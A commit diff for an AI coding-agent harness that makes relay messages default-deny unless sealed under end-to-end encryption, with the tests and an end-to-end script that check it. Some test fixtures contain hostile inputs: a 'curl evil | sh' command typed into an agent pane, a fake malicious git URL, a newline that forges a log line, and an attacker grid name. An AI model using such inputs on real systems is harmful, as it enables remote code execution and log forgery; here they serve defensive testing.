Skip to content

The ultimate harness for coding agents and beyond. All your agents. All your machines. One command center. Start with code, then follow your curiosity and build across disciplines: CAD, circuits, robots, games and music.

fix(security): relay down-frames require an E2EE session (OH-1, OH-10) (#344)

0xken1538e2b1654909
diff --git a/backend/src/lib/deviceWs.ts b/backend/src/lib/deviceWs.ts
index 08adc4ce4..4c534a9e3 100644
--- a/backend/src/lib/deviceWs.ts
+++ b/backend/src/lib/deviceWs.ts
@@ -550,6 +550,11 @@ function relay(device: WebSocket, opts: RelayOpts): void {
goal ? `/goal ${text}` : loop ? `/loop ${text}` : text
const ROUTE_AUTO_THRESHOLD = 0.75
+ // A harness CLI machine (`remote`) takes a turn only sealed under the sender's own E2EE session, and
+ // this backend holds no key — so a transcript can no longer be typed into one from here. The current
+ // dial speaks the cable protocol and its daemon transcribes and seals the turn itself; only firmware
+ // that dials device-ws directly still takes this path.
+ const REMOTE_VOICE_UNSUPPORTED = 'FIRMWARE_UPDATE_REQUIRED'
const ROUTE_PENDING_TTL_MS = 60_000
const pendingRoutes = new Map<string, { text: string; goal: boolean; loop: boolean; ts: number }>()
// Pruned on a timer too, not only on the next route_confirm: a device that walks away after a routed
@@ -1142,6 +1147,7 @@ function relay(device: WebSocket, opts: RelayOpts): void {
if (!agentId || agentId === 'new') { sendDeviceNow({ type: 'error', message: 'route needs an agent' }); return } // 'new' (create-agent) is a later phase
const ac = activeClient()
if (!ac) { sendDeviceNow({ type: 'error', message: 'NO_MACHINE_SELECTED' }); return }
+ if (activeRemote()) { sendDeviceNow({ type: 'error', message: REMOTE_VOICE_UNSUPPORTED }); return }
try {
await ensureActiveReady()
sendDeviceNow({ type: 'commander_event', agentId, payload: { kind: 'processing' } })
@@ -1321,6 +1327,8 @@ function relay(device: WebSocket, opts: RelayOpts): void {
? activeBinding
: await prisma.machine.findUnique({ where: { machineId } })
if (!voiceBinding || voiceBinding.deletedAt) throw new Error('machine not found')
+ // Before the quota is reserved: the transcript could never be delivered, so do not charge for it.
+ if (voiceBinding.authMode === 'remote') throw new Error(REMOTE_VOICE_UNSUPPORTED)
const durationMs = pcm.length / ((sr * 2) / 1000)
const reservation = await voiceQuotaService.reserve(machineId, uploadId, durationMs)
if (reservation.state !== 'reserved') {
diff --git a/backend/src/lib/machineMessage.ts b/backend/src/lib/machineMessage.ts
deleted file mode 100644
index 5980eb77a..000000000
--- a/backend/src/lib/machineMessage.ts
+++ /dev/null
@@ -1,28 +0,0 @@
-import { publishDown } from './bus.js'
-import { routeDown } from './providerLink.js'
-import { logger } from '../utils/logger.js'
-
-/**
- * Trigger a turn in one of an agent's projects from the BACKEND (e.g. after voice STT).
- *
- * Inverted transport: instead of opening a WS to the manager, we `publishDown` the same inbound
- * `message` envelope the device/web use. It reaches the machine's node over the hub (down:{machineId} →
- * manager → node); the node creates/continues the session and runs the turn, and `done`/`result`
- * flow back to whatever commander sockets are connected (incl. the device). Fire-and-forget.
- */
-export async function sendMessageToMachine(
- machineId: string,
- agentId: string,
- content: string,
- sessionId?: string | null,
-): Promise<void> {
- // Continue the SAME session the device last saw for this project (from its tracked completion
- // events); on the first turn fall back to resumeLatest so the node picks the project's most recent
- // session rather than fragmenting history into a fresh session per utterance.
- const payload = sessionId
- ? { content, agentId, mode: 'auto', sessionId }
- : { content, agentId, mode: 'auto', resumeLatest: true }
- const down = { connId: '', frame: { type: 'message', payload } }
- await routeDown(machineId, down, () => publishDown(machineId, down))
- logger.info('voice turn dispatched', { machineId, agentId })
-}
diff --git a/backend/src/lib/providerLink.ts b/backend/src/lib/providerLink.ts
index 83e42eec2..cf8d1d61d 100644
--- a/backend/src/lib/providerLink.ts
+++ b/backend/src/lib/providerLink.ts
@@ -372,8 +372,8 @@ export function forgetMachineMode(machineId: string): void {
*
* **The one branch.** A `provider` machine has no `down:{machineId}` consumer — there is no socket at
* the other end — so its frames are handled in-process by calling the provider over HTTP. Every other
- * mode keeps the existing publish. Three call sites carry user traffic and route through here:
- * `hub.ts` (client frames), `nodeRpc.ts` (RPCs) and `machineMessage.ts` (the device/voice path);
+ * mode keeps the existing publish. Two call sites carry user traffic and route through here:
+ * `hub.ts` (client frames and the device/voice path) and `nodeRpc.ts` (RPCs);
* node-only control frames deliberately do not.
*/
export const HANDLED_IN_PROCESS = Symbol('provider-handled')
diff --git a/cli/scripts/relay-sealed-e2e.mts b/cli/scripts/relay-sealed-e2e.mts
new file mode 100644
index 000000000..a73b24a88
--- /dev/null
+++ b/cli/scripts/relay-sealed-e2e.mts
@@ -0,0 +1,83 @@
+// Positive E2E for the relay default-deny gate (OH-1 / OH-10): the requests that used to cross the relay
+// in the clear still work once they go sealed. Drives the local daemon over its loopback WS — the same
+// transport the desktop uses — against a machine it relays to, so every frame goes through this
+// daemon's `relayClient` envelope and the far daemon's gate.
+//
+// E2E_BOX=machine-remote-1 npx tsx scripts/relay-sealed-e2e.mts <machineId> [label]
+//
+// A request refused with E2EE_REQUIRED means one end is older than strictDown (or wraps wrong).
+// With E2E_BOX set, a typed `message` is also proven to reach the far daemon's handler, by its log.
+// Leaves nothing behind: the dsh_install points at a port nothing listens on and the agent is removed.
+import WebSocket from 'ws'
+import { randomUUID } from 'node:crypto'
+import { execFileSync } from 'node:child_process'
+
+const machineId = process.argv[2]
+const label = process.argv[3] ?? machineId?.slice(0, 8)
+const box = process.env.E2E_BOX
+if (!machineId) throw new Error('machineId required')
+const log = (m: string) => console.log(`[${label}] ${m}`)
+let failures = 0
+const check = (ok: boolean, m: string) => { log(`${ok ? 'ok ' : 'FAIL'} ${m}`); if (!ok) failures++ }
+
+const ws = new WebSocket('ws://127.0.0.1:18473/api/local-ws')
+const frames: Array<Record<string, any>> = []
+ws.on('message', (raw, isBinary) => { if (!isBinary) frames.push(JSON.parse(raw.toString())) })
+await new Promise<void>((resolve, reject) => { ws.once('open', () => resolve()); ws.once('error', reject) })
+const send = (type: string, payload: Record<string, unknown>) => ws.send(JSON.stringify({ type, payload }))
+const sleep = (ms: number) => new Promise((r) => setTimeout(r, ms))
+const waitFor = async (test: (f: Record<string, any>) => boolean, ms: number) => {
+ const end = Date.now() + ms
+ while (Date.now() < end) {
+ const hit = frames.find(test)
+ if (hit) return hit
+ await sleep(100)
+ }
+ return null
+}
+const rpc = async (type: string, payload: Record<string, unknown>, ms = 60_000) => {
+ const requestId = randomUUID()
+ send(type, { requestId, ...payload })
+ const r = await waitFor((f) => f.type === `${type}_result` && f.payload?.requestId === requestId, ms)
+ return (r?.payload ?? { error: 'TIMEOUT' }) as Record<string, any>
+}
+
+send('machine_select', { machineId, localProtocolVersion: 1 })
+if (!await waitFor((f) => f.type === 'connected', 20_000)) { log('FAIL not connected'); process.exit(2) }
+log('connected')
+
+const list = await rpc('dsh_list', {})
+check(Array.isArray(list.dsh), `dsh_list → ${list.error ?? `${list.dsh?.length} harnesses`}`)
+const probe = await rpc('engines_probe', {})
+check(Array.isArray(probe.engines), `engines_probe → ${probe.error ?? `${probe.engines?.length} engines`}`)
+const grid = await rpc('grid_models_list', {})
+check(grid.error !== 'E2EE_REQUIRED' && grid.error !== 'TIMEOUT', `grid_models_list → ${grid.error ?? 'answered'}`)
+const retarget = await rpc('agent_retarget', { agentId: 'relay-sealed-e2e', clearGrid: true })
+check(retarget.error === 'AGENT_NOT_FOUND', `agent_retarget (unknown agent) → ${retarget.error ?? 'ok'} (reached the handler)`)
+const install = await rpc('dsh_install', { url: 'https://127.0.0.1:1/relay-sealed-e2e.git' })
+check(install.error === 'CLONE_FAILED', `dsh_install (dead url) → ${install.error ?? 'ok'} (reached the handler)`)
+
+// A typed turn, sealed. A shell agent has no agent process to type into, so the proof is the far
+// daemon's own `[msg] recv` line: the gate opened the frame and handed it to the message handler.
+const created = await rpc('agent_create', { engine: 'terminal', cwd: '/tmp' })
+if (created.error) { check(false, `agent_create → ${created.error}`) } else {
+ const agentId: string = created.agent.id
+ const recvCount = () => box
+ ? Number(execFileSync('docker', ['exec', box, 'sh', '-c', 'grep -ac "\\[msg\\] recv" ~/.harness/cli/data/harness.log || true'], { encoding: 'utf8' }).trim())
+ : 0
+ const before = recvCount()
+ send('message', { agentId, content: 'echo relay-sealed-e2e' })
+ if (box) {
+ let after = before
+ for (let i = 0; i < 20 && after === before; i++) { await sleep(500); after = recvCount() }
+ check(after > before, `message → ${after > before ? 'received by the far daemon' : 'never reached the message handler'}`)
+ } else {
+ log('skip message check (set E2E_BOX to read the box log)')
+ }
+ const removed = await rpc('agent_delete', { agentId })
+ if (removed.error) log(`cleanup agent_delete → ${removed.error} (left behind: ${agentId})`)
+}
+
+ws.close()
+log(failures ? `FAIL ${failures} check(s)` : 'PASS')
+process.exit(failures ? 1 : 0)
diff --git a/cli/src/backendSocket.spec.ts b/cli/src/backendSocket.spec.ts
index 58aa51d33..d18cd5672 100644
--- a/cli/src/backendSocket.spec.ts
+++ b/cli/src/backendSocket.spec.ts
@@ -21,6 +21,7 @@ import { randomUUID } from 'node:crypto'
import { fakeGridAnswers, installFakeGrid, type FakeGrid } from './lib/__fixtures__/fakeGrid.js'
import { clearGridMcpUrlCache } from './lib/gridMcpUrl.js'
import { LocalModels } from './lib/localModels.js'
+import { STRICT_DOWN_TYPES } from './lib/e2ee/applicationFrames.js'
describe('local model lifecycle RPCs', () => {
afterEach(() => vi.restoreAllMocks())
@@ -216,6 +217,16 @@ function parseSent(ws: InstanceType<typeof wsMock.MockWebSocket>): Array<Record<
return ws.sent.map((s) => JSON.parse(s) as Record<string, unknown>)
}
+/** A relay down-frame as a paired client sends it: sealed. The socket's E2EE session is stubbed to open
+ * it back to `payload`, so the test exercises the RPC rather than the crypto (core.test.ts does that). */
+function sealedDown(socket: BackendSocket, connId: string, type: string, payload: Record<string, unknown>) {
+ const e2ee = (socket as any).e2ee
+ if (!vi.isMockFunction(e2ee.unwrapDown)) {
+ vi.spyOn(e2ee, 'unwrapDown').mockImplementation((_connId: unknown, f: any) => ({ ...f, payload: f.payload.__e2e.clear }))
+ }
+ return { t: 'down', connId, frame: { type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture', clear: payload } } } }
+}
+
describe('BackendSocket outbound queue', () => {
afterEach(() => {
wsMock.instances.length = 0
@@ -1945,7 +1956,7 @@ describe('agent_retarget clearGrid', () => {
socket.connect()
const ws = wsMock.instances[0]
ws.open()
- ws.message({ t: 'down', connId: 'web-1', frame: { type: 'agent_retarget', payload } })
+ ws.message(sealedDown(socket, 'web-1', 'agent_retarget', payload))
await vi.waitFor(() => expect(ws.sent.length).toBeGreaterThan(0))
const reply = parseSent(ws)
.map((item) => item.frame as { type?: string; payload?: Record<string, unknown> } | undefined)
@@ -2001,7 +2012,7 @@ describe('agent_retarget onto a Local model resolves web tools', () => {
ws.open()
// The grid name is the backend's, pushed on connect; the daemon holds it in memory only.
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'machine_meta', payload: { name: 'mac', gridName: GRID_NAME } } })
- ws.message({ t: 'down', connId: 'web-1', frame: { type: 'agent_retarget', payload: { requestId: 'r', agentId: 'a1', gridModel: model } } })
+ ws.message(sealedDown(socket, 'web-1', 'agent_retarget', { requestId: 'r', agentId: 'a1', gridModel: model }))
await vi.waitFor(() => expect(parseSent(ws).some((item) => (item.frame as { type?: string } | undefined)?.type === 'agent_retarget_result')).toBe(true), { timeout: 10_000 })
const reply = parseSent(ws)
.map((item) => item.frame as { type?: string; payload?: Record<string, unknown> } | undefined)
@@ -2158,7 +2169,7 @@ describe('grid_models_list says whether this machine has a grid CLI', () => {
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: 'web-1', frame: { type: 'machine_meta', payload: { name: 'mac', gridName: GRID_NAME } } })
- ws.message({ t: 'down', connId: 'web-1', frame: { type: 'grid_models_list', payload: { requestId: 'r' } } })
+ ws.message(sealedDown(socket, 'web-1', 'grid_models_list', { requestId: 'r' }))
await vi.waitFor(() => expect(parseSent(ws).some((item) => (item.frame as { type?: string } | undefined)?.type === 'grid_models_list_result')).toBe(true), { timeout: 10_000 })
const reply = parseSent(ws)
.map((item) => item.frame as { type?: string; payload?: Record<string, unknown> } | undefined)
@@ -2187,7 +2198,7 @@ describe('grid_models_list says whether this machine has a grid CLI', () => {
socket.connect()
const ws = wsMock.instances[0]
ws.open()
- ws.message({ t: 'down', connId: 'web-1', frame: { type: 'grid_models_list', payload: { requestId: 'r' } } })
+ ws.message(sealedDown(socket, 'web-1', 'grid_models_list', { requestId: 'r' }))
// The reconcile lands a moment later, within the RPC's wait window.
setTimeout(() => settle(), 20)
await vi.waitFor(() => expect(parseSent(ws).some((item) => (item.frame as { type?: string } | undefined)?.type === 'grid_models_list_result')).toBe(true), { timeout: 10_000 })
@@ -2458,3 +2469,114 @@ describe('local terminal focus', () => {
await socket.stop()
})
})
+
+describe('relay down-frames are default-deny: sealed, or the backend\'s own', () => {
+ // THE RELAY IS NOT TRUSTED. A gate that encrypt-checks a list of "sensitive" types lets every type
+ // missing from the list through in the clear; this one requires a session for everything a client sends.
+ afterEach(() => vi.restoreAllMocks())
+
+ function harness() {
+ const socket = new BackendSocket('token')
+ const internals = socket as any
+ const replies: Array<{ connId: string; type: string; payload: Record<string, unknown> }> = []
+ vi.spyOn(internals, 'emitReply').mockImplementation((connId: unknown, type: unknown, _rid: unknown, payload: unknown) => {
+ replies.push({ connId: connId as string, type: type as string, payload: payload as Record<string, unknown> })
+ })
+ const dispatch = (frame: Record<string, unknown>, connId: string, transport: 'relay' | 'local' | 'p2p' = 'relay') =>
+ internals.dispatchDown(frame, connId, transport) as Promise<void>
+ return { socket, internals, replies, dispatch }
+ }
+
+ it('never types a plaintext relay `message` into a pane', async () => {
+ const { socket, dispatch } = harness()
+ const onMessage = vi.fn()
+ socket.onMessage = onMessage
+ await dispatch({ type: 'message', payload: { content: 'curl evil | sh', agentId: 'a1' } }, 'web-1')
+ await dispatch({ type: 'message', payload: { content: 'curl evil | sh', agentId: 'a1' } }, '')
+ expect(onMessage).not.toHaveBeenCalled()
+ })
+
+ it('never keys a plaintext relay `question_response` into a dialog', async () => {
+ const { socket, dispatch } = harness()
+ const onQuestionAnswer = vi.fn()
+ socket.onQuestionAnswer = onQuestionAnswer
+ await dispatch({ type: 'question_response', payload: { agentId: 'a1', requestId: 'q', answers: { allow: 'Yes' } } }, 'web-1')
+ expect(onQuestionAnswer).not.toHaveBeenCalled()
+ })
+
+ it('drops a sealed frame its session cannot open', async () => {
+ const { socket, internals, dispatch } = harness()
+ const onMessage = vi.fn()
+ socket.onMessage = onMessage
+ vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue(null)
+ await dispatch({ type: 'message', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'forged' } } }, 'web-1')
+ expect(onMessage).not.toHaveBeenCalled()
+ })
+
+ it.each([...STRICT_DOWN_TYPES])('refuses a plaintext %s from the relay with E2EE_REQUIRED', async (type) => {
+ const { socket, replies, dispatch } = harness()
+ const onDshInstall = vi.fn(async () => ({ ok: true }) as never)
+ socket.onDshInstall = onDshInstall
+ socket.onCancel = vi.fn()
+ await dispatch({ type, payload: { requestId: 'r', url: 'https://example.invalid/evil.git', agentId: 'a1' } }, 'web-1')
+ expect(onDshInstall).not.toHaveBeenCalled()
+ expect(socket.onCancel).not.toHaveBeenCalled()
+ expect(replies).toEqual([{ connId: 'web-1', type, payload: { error: 'E2EE_REQUIRED' } }])
+ })
+
+ it('runs a sealed dsh_install from a paired client', async () => {
+ const { socket, dispatch } = harness()
+ const onDshInstall = vi.fn(async () => ({ ok: true }) as never)
+ socket.onDshInstall = onDshInstall
+ await dispatch(sealedDown(socket, 'web-1', 'dsh_install', { requestId: 'r', id: 'acme/some-dsh' }).frame, 'web-1')
+ expect(onDshInstall).toHaveBeenCalledWith(expect.objectContaining({ id: 'acme/some-dsh' }), expect.any(Function))
+ })
+
+ it('refuses a plaintext RPC even from the backend itself (connId \'\'), which would read the reply', async () => {
+ const { replies, dispatch } = harness()
+ await dispatch({ type: 'voice_route', payload: { requestId: 'r', transcript: 'ship it' } }, '')
+ expect(replies).toEqual([{ connId: '', type: 'voice_route', payload: { error: 'E2EE_REQUIRED' } }])
+ })
+
+ it('still takes the backend\'s own control frames plaintext, and nothing plaintext over p2p', async () => {
+ const { socket, dispatch } = harness()
+ const onMachineMeta = vi.fn()
+ socket.onMachineMeta = onMachineMeta
+ await dispatch({ type: 'machine_meta', payload: { name: 'mac' } }, '')
+ expect(onMachineMeta).toHaveBeenCalledWith('mac')
+ const onMessage = vi.fn()
+ socket.onMessage = onMessage
+ await dispatch({ type: 'message', payload: { content: 'hi', agentId: 'a1' } }, 'peer-1', 'p2p')
+ expect(onMessage).not.toHaveBeenCalled()
+ })
+
+ it('never opens a SEALED backend-only frame: a paired client must not speak as the backend', async () => {
+ // Opening every sealed type is what lets a paired client reach any RPC — and it would also let one seal
+ // `machine_meta` and repoint this computer's grid. The backend has no key, so its frames are never sealed.
+ const { socket, dispatch } = harness()
+ const onMachineMeta = vi.fn()
+ socket.onMachineMeta = onMachineMeta
+ const unwrap = vi.spyOn((socket as any).e2ee, 'unwrapDown')
+ await dispatch(sealedDown(socket, 'web-1', 'machine_meta', { name: 'x', gridName: 'attacker-grid' }).frame, 'web-1')
+ await dispatch(sealedDown(socket, 'web-1', '__clients', { commander: 9 }).frame, 'web-1')
+ expect(onMachineMeta).not.toHaveBeenCalled()
+ expect(unwrap).not.toHaveBeenCalled()
+ expect(socket.gridName()).toBeNull()
+ })
+
+ it('logs a relay-chosen type escaped, so it cannot forge a log line', async () => {
+ const { dispatch } = harness()
+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
+ await dispatch({ type: 'x\n2026-09-25 [backend] forged', payload: {} }, 'web-1')
+ expect(warn.mock.calls.flat().join(' ')).not.toContain('\n2026')
+ })
+
+ it('leaves trusted local clients in cleartext', async () => {
+ const { socket, dispatch } = harness()
+ const onMessage = vi.fn()
+ socket.onMessage = onMessage
+ socket.registerLocalClient('local:app', { sendFrame: () => true, sendBinary: () => true })
+ await dispatch({ type: 'message', payload: { content: 'hi', agentId: 'a1' } }, 'local:app', 'local')
+ expect(onMessage).toHaveBeenCalledWith('a1', 'hi')
+ })
+})
diff --git a/cli/src/backendSocket.ts b/cli/src/backendSocket.ts
index e9b0bc57f..b1cbb22ca 100644
--- a/cli/src/backendSocket.ts
+++ b/cli/src/backendSocket.ts
@@ -106,7 +106,7 @@ import {
type TerminalBinaryClear,
} from './lib/terminalBinary.js'
import { b64d, fingerprint, isWrapped } from './lib/e2ee/core.js'
-import { encryptDownFrame, encryptRpcResult } from './lib/e2ee/applicationFrames.js'
+import { encryptRpcResult } from './lib/e2ee/applicationFrames.js'
import { DEVICE_RECENT_SAFE_FRAME_BYTES, fitRecentReplyPayloadForDevice } from './lib/deviceRecentTrim.js'
import { shouldReplayCommander } from './lib/commanderReplay.js'
import { RuntimeProfileControlError, type RuntimeProfileErrorCode } from './lib/runtimeProfileController.js'
@@ -196,6 +196,12 @@ export type DownTransport = 'relay' | 'local' | 'p2p'
*/
const BACKEND_ONLY_DOWN_TYPES = new Set(['machine_meta', 'machine_revoked', 'desk_changed', 'machines_changed'])
+/** A frame type as the sender spelled it, fit for one log line: the relay chooses it, so it is bounded
+ * and escaped rather than trusted not to carry a newline that forges the next line. */
+function logSafeType(type: string): string {
+ return JSON.stringify(type.length > 64 ? `${type.slice(0, 64)}…` : type)
+}
+
interface QueueItem {
id: number
data: string
@@ -1454,17 +1460,32 @@ export class BackendSocket {
if (!local) await this.autonomousDeviceRelay?.handle(connId, frame)
return
}
- // Client→adapter encrypted frames: chat messages plus trusted web control actions. Plaintext
- // passes through for legacy/device transition paths; undecryptable ciphertext is dropped.
- if (!local && encryptDownFrame(type)) {
- if (type !== 'message' && type !== 'question_response' && !isWrapped(frame.payload)) {
+ // ⚠️ Default-deny: the relay is NOT trusted. A non-local frame is acted on only if it opens under
+ // this connId's E2EE session — whatever its type — or is one of the backend's own plaintext frames.
+ // A list of "sensitive" types to check instead fails open: every type missing from it, including
+ // ones added later, would be taken in the clear.
+ //
+ // The backend's own control frames are the mirror image: only ever plaintext, because the backend
+ // holds no key — so one that arrives SEALED was sealed by a paired client, and opening it would let
+ // that client speak as the backend (`machine_meta` repoints this computer's grid).
+ if (!local) {
+ const from = `${transport} (${connId ? `conn:${sid(connId)}` : 'backend'})`
+ const wrapped = isWrapped(frame.payload)
+ if (type.startsWith('__') || BACKEND_ONLY_DOWN_TYPES.has(type)) {
+ if (transport !== 'relay' || wrapped) {
+ console.warn(`[backend] ignoring ${logSafeType(type)} from ${from} — only the backend sends it, and only in the clear`)
+ return
+ }
+ } else if (wrapped) {
+ const dec = this.e2ee.unwrapDown(connId, frame)
+ if (!dec) return
+ frame = dec
+ } else {
+ console.warn(`[backend] refusing plaintext ${logSafeType(type)} from ${from} — E2EE required`)
const requestId = (frame.payload as { requestId?: unknown } | undefined)?.requestId
if (requestId !== undefined) this.emitReply(connId, type, requestId, { error: 'E2EE_REQUIRED' })
return
}
- const dec = this.e2ee.unwrapDown(connId, frame)
- if (!dec) return
- frame = dec
}
if (!local && TERMINAL_P2P_SIGNAL_TYPES.has(type)) {
await this.terminalP2p.handleSignal(connId, type, frame.payload)
@@ -2117,8 +2138,9 @@ export class BackendSocket {
case 'voice_route': {
// Voice router (REMOTE machine): pick the best-fit agent for a transcribed Overview voice task,
- // using each agent's name + recent-turn recap. Backend-originated (connId===''), so the transcript
- // is plaintext and the reply falls through emitReply's plaintext path (voice_route is not E2EE-gated).
+ // using each agent's name + recent-turn recap. Once asked plaintext by the backend's legacy
+ // device-ws voice path; that path no longer reaches a harness machine, and the relay gate now
+ // refuses it unsealed like any other RPC.
const transcript = typeof payload.transcript === 'string' ? payload.transcript : ''
if (!transcript.trim()) {
console.log('[voice-route] backend sent an empty transcript — nothing to route')
@@ -2619,7 +2641,8 @@ export class BackendSocket {
if (!content || !target) return
// Inject into the pane; the resulting JSONL user/assistant lines drive the turn lifecycle back
// to the web (mirror-all) — no synthetic events here. Prefer cli.ts's handler (inject + Enter
- // retry); fall back to a direct inject when unwired (isolation/tests).
+ // retry); fall back to a direct inject when unwired (isolation/tests). From the relay this is
+ // only reached sealed: text typed into an agent is never taken from the relay in the clear.
if (this.onMessage) this.onMessage(target, content)
else console.warn('[backend] message handler is not wired; terminal input was not dispatched')
return
@@ -2680,12 +2703,6 @@ export class BackendSocket {
return
}
- // v1 no-ops: no programmatic session control over an interactive tmux claude.
- case 'new_chat':
- case 'compact':
- case 'permission_response':
- return
-
default:
// Unknown RPC with a requestId: reject fast so the web promise doesn't wait out its 20s.
if (requestId !== undefined) reply(type, requestId, { error: 'UNSUPPORTED' })
diff --git a/cli/src/device/deviceFleet.spec.ts b/cli/src/device/deviceFleet.spec.ts
index 9d253eefe..8993b566e 100644
--- a/cli/src/device/deviceFleet.spec.ts
+++ b/cli/src/device/deviceFleet.spec.ts
@@ -30,6 +30,7 @@ function make(over: { rows?: Partial<Listed>[]; linked?: string[]; rpc?: (t: str
detach: vi.fn(),
release: vi.fn(),
send: (f: DeviceFrame) => { sent.push(f) },
+ sendSealed: async (f: DeviceFrame) => { sent.push(f) },
rpc: over.rpc ?? (async () => ({})),
resetSession: vi.fn((machineId: string) => { resets.push(machineId); return true }),
}
diff --git a/cli/src/device/deviceFleet.ts b/cli/src/device/deviceFleet.ts
index b13280e06..47096da95 100644
--- a/cli/src/device/deviceFleet.ts
+++ b/cli/src/device/deviceFleet.ts
@@ -318,9 +318,9 @@ export class DeviceFleet implements MachineFleet {
// ── internals ───────────────────────────────────────────────────────────────────────────────────
- /** Send a frame addressed to one machine. The tag is what the backend routes on. */
+ /** Send a frame addressed to one machine, sealed for it. The tag is what the backend routes on. */
private tagged(machineId: string, frame: DeviceFrame): void {
- this.opts.link.send({ ...frame, machineId })
+ void this.opts.link.sendSealed({ ...frame, machineId })
}
private async prefetchRecaps(machineId: string): Promise<void> {
diff --git a/cli/src/device/deviceLink.ts b/cli/src/device/deviceLink.ts
index 78e27a31a..f21243cdb 100644
--- a/cli/src/device/deviceLink.ts
+++ b/cli/src/device/deviceLink.ts
@@ -246,6 +246,26 @@ export class DeviceLink {
}
}
+ /**
+ * Fire-and-forget for a frame carrying what the person said or chose — a turn, an answer, a stop.
+ *
+ * NEVER IN THE CLEAR TO A LINKED MACHINE. `send()` falls back to plaintext while a session is down, and
+ * the far daemon refuses anything from the relay it cannot open. So this handshakes first and drops the
+ * frame, with a line, if there is still no session. A machine with no pinned peer is one the backend
+ * runs itself, where there is no daemon to seal for and plaintext is the only form it reads.
+ */
+ async sendSealed(frame: DeviceFrame & { machineId: string }): Promise<void> {
+ try { await this.establish(frame.machineId) } catch (err) {
+ this.opts.log(`device: dropped ${frame.type ?? '?'} for ${frame.machineId} — ${(err as Error).message}`)
+ return
+ }
+ if (this.opts.peer(frame.machineId) && !this.sessions.get(frame.machineId)?.ready) {
+ this.opts.log(`device: dropped ${frame.type ?? '?'} for ${frame.machineId} — no E2EE session`)
+ return
+ }
+ this.send(frame)
+ }
+
/**
* One request/response, correlated by `requestId`. Rejects on timeout or an `error` in the reply.
*
diff --git a/cli/src/lib/e2ee/applicationFrames.ts b/cli/src/lib/e2ee/applicationFrames.ts
index e225ffc36..a643ded5e 100644
--- a/cli/src/lib/e2ee/applicationFrames.ts
+++ b/cli/src/lib/e2ee/applicationFrames.ts
@@ -18,5 +18,13 @@ const MACHINE_REQUESTS = new Set(['git_project_info', 'git_pull_request', 'machi
const MACHINE_RESULTS = new Set([...MACHINE_REQUESTS].map(type => `${type}_result`))
export const encryptDownFrame = (type: string): boolean =>
isEncryptedDownType(type) || MACHINE_REQUESTS.has(type) || FLEET_REQUESTS.has(type) || SHARE_REQUEST_TYPES.has(type) || VIEWER_DOWN_TYPES.has(type)
+/** Client→daemon requests that older daemons took in the clear and no longer do. A client seals them
+ * only for a daemon whose e2e_welcome says `strictDown` — an older one would never open the envelope
+ * and would read the request as empty. A daemon that says `strictDown` refuses them unsealed. */
+export const STRICT_DOWN_TYPES = new Set(['dsh_install', 'dsh_update', 'dsh_remove', 'dsh_list',
+ 'agent_retarget', 'engines_probe', 'grid_models_list', 'cancel', 'claude_login_status', 'speaking'])
+/** What a client seals for a given daemon: the always-sealed types, plus STRICT_DOWN_TYPES when it opens them. */
+export const encryptDownFrameFor = (type: string, peer: { strictDown: boolean }): boolean =>
+ encryptDownFrame(type) || (peer.strictDown && STRICT_DOWN_TYPES.has(type))
export const encryptRpcResult = (type: string): boolean =>
ENCRYPTED_RPC_RESULT_TYPES.has(type) || MACHINE_RESULTS.has(type) || FLEET_RESULTS.has(type) || SHARE_RESULT_TYPES.has(type)
diff --git a/cli/src/lib/e2ee/core.test.ts b/cli/src/lib/e2ee/core.test.ts
index 9b6feaf1c..461646b91 100644
--- a/cli/src/lib/e2ee/core.test.ts
+++ b/cli/src/lib/e2ee/core.test.ts
@@ -5,6 +5,7 @@ import { fileURLToPath } from 'url'
import { dirname, join } from 'path'
import * as C from './core.js'
import type { Rng } from './core.js'
+import { STRICT_DOWN_TYPES, encryptDownFrameFor } from './applicationFrames.js'
// Deterministic RNG for reproducible key material in tests.
function seeded(seed: number): Rng {
@@ -163,6 +164,16 @@ describe('e2ee core — codes + fingerprint + classification', () => {
expect(C.isEncryptedDownType('terminal_chunked_upload_cancel')).toBe(true)
})
+ it('seals the formerly-plaintext RPCs only for a daemon that opens them', () => {
+ // A daemon older than strictDown checks a type list before unwrapping; sealed, `dsh_list` would reach
+ // it as an empty {__e2e} request. A strictDown daemon refuses these unsealed. Both must keep working.
+ for (const type of STRICT_DOWN_TYPES) {
+ expect(encryptDownFrameFor(type, { strictDown: false })).toBe(false)
+ expect(encryptDownFrameFor(type, { strictDown: true })).toBe(true)
+ }
+ expect(encryptDownFrameFor('message', { strictDown: false })).toBe(true)
+ })
+
it('gates question_response, which the device encrypts', () => {
// Regression. The firmware wraps this frame because an AskUserQuestion answer is user content, but the
// type was missing from ENCRYPTED_DOWN_TYPES, so dispatchDown never unwrapped it. The failure was
diff --git a/cli/src/lib/e2ee/manager.test.ts b/cli/src/lib/e2ee/manager.test.ts
index 5e78cb986..37a75f5b3 100644
--- a/cli/src/lib/e2ee/manager.test.ts
+++ b/cli/src/lib/e2ee/manager.test.ts
@@ -290,6 +290,10 @@ describe('E2eeManager pairing', () => {
{ requestId: 'q1', sessionId: 'sX', answers: { color: 'Xanh' } })
const qdown = mgr.unwrapDown(conn, { type: 'question_response', payload: qw })
expect((qdown!.payload as Record<string, unknown>).answers).toEqual({ color: 'Xanh' })
+
+ // Plaintext is never opened into a request: it came from the relay, not from the paired client.
+ expect(mgr.unwrapDown(conn, { type: 'message', payload: { content: 'from the relay', agentId: 'a1' } })).toBeNull()
+ expect(mgr.unwrapDown('no-session', { type: 'message', payload: wrapped })).toBeNull()
})
it('rejects a wrong code at the confirmation MAC (round 2)', async () => {
diff --git a/cli/src/lib/e2ee/manager.ts b/cli/src/lib/e2ee/manager.ts
index 9fb16a39b..4e41df336 100644
--- a/cli/src/lib/e2ee/manager.ts
+++ b/cli/src/lib/e2ee/manager.ts
@@ -350,10 +350,11 @@ export class E2eeManager {
// ── inbound down `message` decryption ────────────────────────────────────────────────────────────
- /** Decrypt an encrypted down `message`; plaintext passes through; undecryptable → null (drop). */
+ /** Decrypt a sealed down-frame. Plaintext or undecryptable → null (drop): a frame that reaches here
+ * came from the relay, and the relay is not trusted to speak for any client. */
unwrapDown(connId: string, frame: Frame): Frame | null {
const payload = frame.payload as Record<string, unknown> | undefined
- if (!payload || !C.isWrapped(payload)) return frame // plaintext (device/transition path)
+ if (!payload || !C.isWrapped(payload)) return null
